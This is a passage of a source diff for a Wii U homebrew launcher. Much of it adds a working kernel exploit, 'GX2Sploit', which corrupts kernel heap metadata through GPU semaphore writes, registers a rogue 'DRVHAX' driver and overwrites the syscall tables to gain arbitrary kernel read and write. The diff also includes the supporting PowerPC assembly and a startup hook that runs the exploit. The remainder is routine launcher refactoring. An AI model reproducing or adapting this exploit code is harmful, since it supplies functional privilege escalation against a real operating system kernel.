gx2_init_attributes[2] = 2; + gx2_init_attributes[3] = 0x400000; + gx2_init_attributes[4] = 7; + gx2_init_attributes[5] = 0; + gx2_init_attributes[6] = 8; + gx2_init_attributes[7] = 0; + gx2_init_attributes[8] = 0; + GX2Init(gx2_init_attributes); //don't actually know if this is necessary? so temp? (from loadiine or hbl idk) + + /* Allocate space for DRVHAX */ + uint32_t *drvhax = OSAllocFromSystem(0x4c, 4); + + /* Set the kernel heap metadata entry */ + uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE)); + metadata[0] = (uint32_t)drvhax; + metadata[1] = (uint32_t)-0x4c; + metadata[2] = (uint32_t)-1; + metadata[3] = (uint32_t)-1; + + /* Find stuff */ + uint32_t gx2data[] = {0xfc2a0000}; + uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000); + uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024}; + void (*do_flush)(uint32_t arg0, uint32_t arg1) = find_gadget(doflush, 0x2C, 0x01000000) + 0x14; + + /* Modify a next ptr on the heap */ + uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET; + + set_semaphore_phys(set_semaphore, kpaddr, gx2data_addr); + set_semaphore_phys(set_semaphore, kpaddr, gx2data_addr); + do_flush(0x100, 1); + + /* Register a new OSDriver, DRVHAX */ + char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'}; + Register(drvname, 6, NULL, NULL); + + /* Modify its save area to point to the kernel syscall table */ + drvhax[0x44/4] = KERN_SYSCALL_TBL_2 + (0x34 * 4); + + /* Use DRVHAX to install the read and write syscalls */ + uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE}; + CopyToSaveArea(drvname, 6, syscalls, 8); + + /* Clean up the heap and driver list so we can exit */ + kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0); + kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]); + + /* Setup kernel memmap for further exploitation (will be reverted later) */ + kern_write((void*)(KERN_ADDRESS_TBL + 0x12 * 4), 0x10000000); + kern_write((void*)(KERN_ADDRESS_TBL + 0x13 * 4), 0x28305800); + + /* Setup kernel read/write in every application */ + kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x34 * 4)), KERN_CODE_READ); + kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x34 * 4)), KERN_CODE_READ); + kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x34 * 4)), KERN_CODE_READ); + kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x34 * 4)), KERN_CODE_READ); + kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x35 * 4)), KERN_CODE_WRITE); + kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x35 * 4)), KERN_CODE_WRITE); + kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x35 * 4)), KERN_CODE_WRITE); + kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x35 * 4)), KERN_CODE_WRITE); + + /* clean shutdown */ + GX2Shutdown(); + free(gx2CommandBuffer); + return 0; +} + +static void setup_syscall(void) +{ + // set kernel code area write permissions + asm volatile("mtspr 570, %0" : : "r" (0xFFF00002)); + asm volatile("mtspr 571, %0" : : "r" (0xFFF00032)); + asm volatile("eieio; isync"); + + u32 *targetAddress = (u32*)BAT_SETUP_HOOK_ADDR; + targetAddress[0] = 0x3ce00000 | ((BAT4L_VAL >> 16) & 0xFFFF); // lis r7, BAT4L_VAL@h + targetAddress[1] = 0x60e70000 | (BAT4L_VAL & 0xFFFF); // ori r7, r7, BAT4L_VAL@l + targetAddress[2] = 0x7cf18ba6; // mtspr 561, r7 + targetAddress[3] = 0x3ce00000 | ((BAT4U_VAL >> 16) & 0xFFFF); // lis r7, BAT4U_VAL@h + targetAddress[4] = 0x60e70000 | (BAT4U_VAL & 0xFFFF); // ori r7, r7, BAT4U_VAL@l + targetAddress[5] = 0x7cf08ba6; // mtspr 560, r7 + targetAddress[6] = 0x7c0006ac; // eieio + targetAddress[7] = 0x4c00012c; // isync + targetAddress[8] = 0x7ce802a6; // mflr r7 + targetAddress[9] = 0x48000003 | (u32)BAT_SETUP_HOOK_ENTRY; // bla BAT_SETUP_HOOK_ENTRY + asm volatile("dcbf 0, %0; icbi 0, %0; sync" : : "r" (BAT_SETUP_HOOK_ADDR & ~31)); + asm volatile("dcbf 0, %0; icbi 0, %0; sync" : : "r" ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)); + + NOP_ADDR(BAT_SET_NOP_ADDR_1); + NOP_ADDR(BAT_SET_NOP_ADDR_2); + NOP_ADDR(BAT_SET_NOP_ADDR_3); + NOP_ADDR(BAT_SET_NOP_ADDR_4); + NOP_ADDR(BAT_SET_NOP_ADDR_5); + NOP_ADDR(BAT_SET_NOP_ADDR_6); + NOP_ADDR(BAT_SET_NOP_ADDR_7); + + u32 addr_syscall_0x65 = *(u32*)(KERN_SYSCALL_TBL_2 + 0x65 * 4); + *(u32*)addr_syscall_0x65 = 0x3C60B00B; // lis r3, 0xB00B + asm volatile("dcbf 0, %0; icbi 0, %0; sync" : : "r" (addr_syscall_0x65 & ~31)); + + asm volatile("eieio; isync"); + asm volatile("mtspr 570, %0" : : "r" (0xFFEE0002)); + asm volatile("mtspr 571, %0" : : "r" (0xFFEE0032)); + asm volatile("eieio; isync"); + + NOP_ADDR(BAT_SET_NOP_ADDR_8); + NOP_ADDR(BAT_SET_NOP_ADDR_9); + + asm volatile("sync; eieio; isync"); + asm volatile("mtspr 560, %0" : : "r" (BAT4U_VAL)); + asm volatile("mtspr 561, %0" : : "r" (BAT4L_VAL)); + asm volatile("mtspr 570, %0" : : "r" (BAT4U_VAL)); + asm volatile("mtspr 571, %0" : : "r" (BAT4L_VAL)); + asm volatile("eieio; isync"); +} + +int CheckKernelExploit(void) +{ + if(OSEffectiveToPhysical((void*)0xA0000000) == 0x10000000) + { + log_printf("Running kernel setup\n"); + + unsigned char backupBuffer[0x40]; + + u32 *targetAddress = (u32*)(0xA0000000 + (0x327FF000 - 0x10000000)); + memcpy(backupBuffer, targetAddress, sizeof(backupBuffer)); + + targetAddress[0] = 0x7c7082a6; // mfspr r3, 528 + targetAddress[1] = 0x60630003; // ori r3, r3, 0x03 + targetAddress[2] = 0x7c7083a6; // mtspr 528, r3 + targetAddress[3] = 0x7c7282a6; // mfspr r3, 530 + targetAddress[4] = 0x60630003; // ori r3, r3, 0x03 + targetAddress[5] = 0x7c7283a6; // mtspr 530, r3 + targetAddress[6] = 0x7c0006ac; // eieio + targetAddress[7] = 0x4c00012c; // isync + targetAddress[8] = 0x3c600000 | (((u32)setup_syscall) >> 16); // lis r3, setup_syscall@h + targetAddress[9] = 0x60630000 | (((u32)setup_syscall) & 0xFFFF); // ori r3, r3, setup_syscall@l + targetAddress[10] = 0x7c6903a6; // mtctr r3 + targetAddress[11] = 0x4e800420; // bctr + DCFlushRange(targetAddress, sizeof(backupBuffer)); + + u8 *sdLoaderAddress = (u8*)(0xA0000000 + (0x30800000 - 0x10000000)); + memset(sdLoaderAddress, 0, 0x2000 - sizeof(___sd_loader_bin)); + memcpy(sdLoaderAddress, ___sd_loader_bin, sizeof(___sd_loader_bin)); + + // OS_FIRMWARE -> 550 on 5.5.x + *(u32*)(sdLoaderAddress + 0x1400 + 4) = 550; + + OsSpecifics *osSpecificFunctions = (OsSpecifics *)(sdLoaderAddress + 0x1500); + osSpecificFunctions->addr_OSDynLoad_Acquire = (unsigned int)OSDynLoad_Acquire; + osSpecificFunctions->addr_OSDynLoad_FindExport = (unsigned int)OSDynLoad_FindExport; + osSpecificFunctions->addr_KernSyscallTbl1 = KERN_SYSCALL_TBL_1; + osSpecificFunctions->addr_KernSyscallTbl2 = KERN_SYSCALL_TBL_2; + osSpecificFunctions->addr_KernSyscallTbl3 = KERN_SYSCALL_TBL_3; + osSpecificFunctions->addr_KernSyscallTbl4 = KERN_SYSCALL_TBL_4; + osSpecificFunctions->addr_KernSyscallTbl5 = KERN_SYSCALL_TBL_5; + osSpecificFunctions->addr_OSTitle_main_entry = ADDRESS_OSTitle_main_entry_ptr; + DCFlushRange(sdLoaderAddress, 0x2000); + + /* set our setup syscall to an unused position */ + kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), 0x017FF000); + + /* run our kernel code :) */ + SC0x25_SetupSyscall(); + + /* revert setup syscall */ + kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), 0x0); + + /* repair data */ + memcpy(targetAddress, backupBuffer, sizeof(backupBuffer)); + DCFlushRange(targetAddress, sizeof(backupBuffer)); + + unsigned int repl_addr = ADDRESS_main_entry_hook; + *(u32*)(0xC1000000 + repl_addr) = 0x48000003 | 0x00800048; + DCFlushRange((void*)0xC1000000 + repl_addr, 4); + ICInvalidateRange((void*)(repl_addr), 4); + + /* restore kernel memory table to original state */ + kern_write((void*)(KERN_ADDRESS_TBL + (0x12 * 4)), 0); + kern_write((void*)(KERN_ADDRESS_TBL + (0x13 * 4)), 0x14000000); + + log_printf("Kernel setup finished\n"); + + /* relaunch for BAT setup on every core */ + SYSRelaunchTitle(0, 0); + return 0; + } + else if(SC0x65_ExploitCheck(0) != 0xB00B0000) + { + log_printf("Running GX2Sploit\n"); + /* Make a thread to modify the semaphore */ + OSThread *thread = (OSThread*)memalign(8, 0x1000); + u8 *stack = (u8*)memalign(0x40, 0x2000); + + if (OSCreateThread(thread, (OSThreadEntryPointFn)exploitThread, 0, NULL, stack + 0x2000, 0x2000, 0, 0x1) == 0) + { + OSFatal("Failed to create thread"); + } + + OSResumeThread(thread); + OSJoinThread(thread, 0); + free(thread); + free(stack); + + log_printf("GX2Sploit done\n"); + SYSRelaunchTitle(0, 0); + return 0; + } + + // else everything is setup + return 1; +} diff --git a/src/kernel/gx2sploit.h b/src/kernel/gx2sploit.h new file mode 100644 index 0000000..0d1ee31 --- /dev/null +++ b/src/kernel/gx2sploit.h @@ -0,0 +1,14 @@ +#ifndef GX2SPLOIT_H_ +#define GX2SPLOIT_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +int CheckKernelExploit(void); + +#ifdef __cplusplus +} +#endif + +#endif // GX2SPLOIT_H_ diff --git a/src/kernel/gx2sploit_asm.S b/src/kernel/gx2sploit_asm.S new file mode 100644 index 0000000..de36160 --- /dev/null +++ b/src/kernel/gx2sploit_asm.S @@ -0,0 +1,37 @@ + .globl set_semaphore_phys +set_semaphore_phys: + mflr 0 + stwu 1, -0x20(1) + stw 31, 0x1C(1) + stw 30, 0x18(1) + stw 0, 0x24(1) + + mtctr 3 + mr 3, 4 + mr 30, 5 + li 31, 1 + bctr + + .globl Register +Register: + li 0,0x3200 + sc + blr + + .globl CopyToSaveArea +CopyToSaveArea: + li 0,0x4800 + sc + blr + + .globl SC0x25_SetupSyscall +SC0x25_SetupSyscall: + li 0,0x2500 + sc + blr + + .globl SC0x65_ExploitCheck +SC0x65_ExploitCheck: + li 0,0x6500 + sc + blr diff --git a/src/main.cpp b/src/main.cpp index b0e82ad..56aecad 100644 --- a/src/main.cpp +++ b/src/main.cpp @@ -4,6 +4,7 @@ #include "utils/utils.h" #include "dynamic_libs/padscore_functions.h" #include "common/common.h" +#include "kernel/gx2sploit.h" /* Entry point */ extern "C" int Menu_Main(void) @@ -12,22 +13,20 @@ extern "C" int Menu_Main(void) //! Initialize function pointers * //!******************************************************************* //! do OS (for acquire) and sockets first so we got logging -// InitOSFunctionPointers(); -// InitSocketFunctionPointers(); - log_init("192.168.178.3"); - log_print("Starting launcher\n"); -/* - InitFSFunctionPointers(); - InitGX2FunctionPointers(); - InitSysFunctionPointers(); - InitVPadFunctionPointers(); + //! ******************************************************************* + //! * Check if our application needs to run the kexploit started * + //! ******************************************************************* + if(CheckKernelExploit() == 0) + { + return 0; + } + + log_printf("Welcome to the Homebrew Launcher %s\n", HBL_VERSION); + InitPadScoreFunctionPointers(); - InitAXFunctionPointers(); -*/ - InitPadScoreFunctionPointers(); - log_print("Function exports loaded\n"); + log_printf("Function exports loaded\n"); //!******************************************************************* //! Enter main application * @@ -38,6 +37,7 @@ extern "C" int Menu_Main(void) Application::destroyInstance(); + log_printf("HBL exit\n"); log_deinit(); return returnCode; diff --git a/src/menu/HomebrewLaunchWindow.cpp b/src/menu/HomebrewLaunchWindow.cpp index be22047..5dda83c 100644 --- a/src/menu/HomebrewLaunchWindow.cpp +++ b/src/menu/HomebrewLaunchWindow.cpp @@ -167,6 +167,8 @@ void HomebrewLaunchWindow::OnFileLoadFinish(GuiElement *element, const std::stri if(result > 0) { + ELF_DATA_ADDR = (u32)APP_BASE_MEM; + ELF_DATA_SIZE = result; Application::instance()->quit(EXIT_SUCCESS); } } @@ -177,7 +179,7 @@ void HomebrewLaunchWindow::OnLoadButtonClick(GuiButton *button, const GuiControl backBtn.setState(GuiElement::STATE_DISABLED); loadBtn.setState(GuiElement::STATE_DISABLED); - HomebrewLoader * loader = HomebrewLoader::loadToMemoryAsync(homebrewLaunchPath); + HomebrewLoader * loader = HomebrewLoader::loadToMemoryAsync(homebrewLaunchPath, APP_BASE_MEM); loader->setEffect(EFFECT_FADE, 15, 255); loader->effectFinished.connect(this, &HomebrewLaunchWindow::OnOpenEffectFinish); loader->asyncLoadFinished.connect(this, &HomebrewLaunchWindow::OnFileLoadFinish); diff --git a/src/menu/HomebrewWindow.cpp b/src/menu/HomebrewWindow.cpp index 3bbe67e..50a9717 100644 --- a/src/menu/HomebrewWindow.cpp +++ b/src/menu/HomebrewWindow.cpp @@ -21,6 +21,7 @@ #include "fs/fs_utils.h" #include "system/AsyncDeleter.h" #include "utils/HomebrewXML.h" +#include "utils/utils.h" #include "HomebrewLaunchWindow.h" #define DEFAULT_WIILOAD_PORT 4299 @@ -42,7 +43,7 @@ HomebrewWindow::HomebrewWindow(int w, int h) , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A) , buttonLTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_L | GuiTrigger::BUTTON_LEFT, true) , buttonRTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_R | GuiTrigger::BUTTON_RIGHT, true) - , tcpReceiver(DEFAULT_WIILOAD_PORT) + , tcpReceiver(APP_BASE_MEM, DEFAULT_WIILOAD_PORT) { tcpReceiver.serverReceiveStart.connect(this, &HomebrewWindow::OnTcpReceiveStart); tcpReceiver.serverReceiveFinished.connect(this, &HomebrewWindow::OnTcpReceiveFinish); @@ -51,16 +52,15 @@ HomebrewWindow::HomebrewWindow(int w, int h) currentLeftPosition = 0; listOffset = 0; - DirList dirList("fs:/", NULL, DirList::Files | DirList::CheckSubfolders, 1); + DirList dirList("fs:/vol/external01/wiiu/apps", ".elf", DirList::Files | DirList::CheckSubfolders, 1); dirList.SortList(); for(int i = 0; i < dirList.GetFilecount(); i++) { - log_printf("%i: %s\n", i, dirList.GetFilepath(i)); //! skip our own application in the listing - //!if(strcasecmp(dirList.GetFilename(i), "homebrew_launcher.elf") == 0) - //! continue; + if(strcasecmp(dirList.GetFilename(i), "homebrew_launcher.elf") == 0) + continue; //! skip hidden linux and mac files if(dirList.GetFilename(i)[0] == '.' || dirList.GetFilename(i)[0] == '_') @@ -105,8 +105,8 @@ HomebrewWindow::HomebrewWindow(int w, int h) const char *cpName = xmlReadSuccess ? metaXml.GetName() : homebrewButtons[idx].execPath.c_str(); const char *cpDescription = xmlReadSuccess ? metaXml.GetShortDescription() : ""; - if(strncmp(cpName, "fs:/wiiu/apps/", strlen("fs:/wiiu/apps/")) == 0) - cpName += strlen("fs:/wiiu/apps/"); + if(strncmp(cpName, "fs:/vol/external01/wiiu/apps/", strlen("fs:/vol/external01/wiiu/apps/")) == 0) + cpName += strlen("fs:/vol/external01/wiiu/apps/"); homebrewButtons[idx].nameLabel = new GuiText(cpName, 32, glm::vec4(1.0f)); homebrewButtons[idx].nameLabel->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); @@ -124,8 +124,8 @@ HomebrewWindow::HomebrewWindow(int w, int h) homebrewButtons[idx].button->setLabel(homebrewButtons[idx].nameLabel, 0); homebrewButtons[idx].button->setLabel(homebrewButtons[idx].descriptionLabel, 1); homebrewButtons[idx].button->setIcon(homebrewButtons[idx].iconImg); - float fXOffset = (i / MAX_BUTTONS_ON_PAGE) * width; - float fYOffset = (homebrewButtons[idx].image->getHeight() + 20.0f) * 1.5f - (homebrewButtons[idx].image->getHeight() + 20) * (i % MAX_BUTTONS_ON_PAGE); + float fXOffset = (idx / MAX_BUTTONS_ON_PAGE) * width; + float fYOffset = (homebrewButtons[idx].image->getHeight() + 20.0f) * 1.5f - (homebrewButtons[idx].image->getHeight() + 20) * (idx % MAX_BUTTONS_ON_PAGE); homebrewButtons[idx].button->setPosition(currentLeftPosition + fXOffset, fYOffset); homebrewButtons[idx].button->setTrigger(&touchTrigger); homebrewButtons[idx].button->setTrigger(&wpadTouchTrigger); @@ -329,10 +329,7 @@ void HomebrewWindow::OnTcpReceiveFinish(GuiElement *element, u32 ip, int result) if(result > 0) { - u32 ApplicationMemoryEnd; - asm volatile("lis %0, __CODE_END@h; ori %0, %0, __CODE_END@l" : "=r" (ApplicationMemoryEnd)); - - ELF_DATA_ADDR = ApplicationMemoryEnd; + ELF_DATA_ADDR = (u32)APP_BASE_MEM; ELF_DATA_SIZE = result; Application::instance()->quit(EXIT_SUCCESS); } diff --git a/src/menu/TcpReceiver.cpp b/src/menu/TcpReceiver.cpp index 01bdb37..825ef08 100644 --- a/src/menu/TcpReceiver.cpp +++ b/src/menu/TcpReceiver.cpp @@ -10,9 +10,7 @@ #include "utils/StringTools.h" #include "utils/net.h" -u32 __CODE_END = 0x0; - -TcpReceiver::TcpReceiver(int port) +TcpReceiver::TcpReceiver(unsigned char* loadAddr, int port) : GuiFrame(0, 0) , CThread(CThread::eAttributeAffCore0 | CThread::eAttributePinnedAff) , exitRequested(false) @@ -25,9 +23,7 @@ TcpReceiver::TcpReceiver(int port) height = progressWindow.getHeight(); append(&progressWindow); - u32 ApplicationMemoryEnd = getApplicationEndAddr(); - - loadAddress = (unsigned char*)ApplicationMemoryEnd; + loadAddress = loadAddr; resumeThread(); } diff --git a/src/menu/TcpReceiver.h b/src/menu/TcpReceiver.h index a15567c..8ab3649 100644 --- a/src/menu/TcpReceiver.h +++ b/src/menu/TcpReceiver.h @@ -20,7 +20,7 @@ public: NOT_ENOUGH_MEMORY = -4, }; - TcpReceiver(int port); + TcpReceiver(unsigned char* loadAddr, int port); ~TcpReceiver(); sigslot::signal2 serverReceiveStart; diff --git a/src/utils/logger.c b/src/utils/logger.c index 90f4497..ab09923 100644 --- a/src/utils/logger.c +++ b/src/utils/logger.c @@ -14,6 +14,8 @@ static volatile int log_lock = 0; void log_init(const char * ipString) { + socket_lib_init(); + log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (log_socket < 0) return; diff --git a/src/utils/utils.S b/src/utils/utils.S deleted file mode 100644 index fbf1400..0000000 --- a/src/utils/utils.S +++ /dev/null @@ -1,11 +0,0 @@ - .globl getApplicationEndAddr -getApplicationEndAddr: - lis r3, __CODE_END@h - ori r3, r3, __CODE_END@l - blr - - .globl SC0x25_KernelCopyData -SC0x25_KernelCopyData: - li r0, 0x2500 - sc - blr diff --git a/src/utils/utils.h b/src/utils/utils.h index c3634a1..c460fa2 100644 --- a/src/utils/utils.h +++ b/src/utils/utils.h @@ -40,9 +40,6 @@ extern "C" { #define le32(i) ((((u32)le16((i) & 0xFFFF)) << 16) | ((u32)le16(((i) & 0xFFFF0000) >> 16))) #define le64(i) ((((u64)le32((i) & 0xFFFFFFFFLL)) << 32) | ((u64)le32(((i) & 0xFFFFFFFF00000000LL) >> 32))) -unsigned int getApplicationEndAddr(void); -void SC0x25_KernelCopyData(unsigned int addr, unsigned int src, unsigned int len); - #ifdef __cplusplus } #endif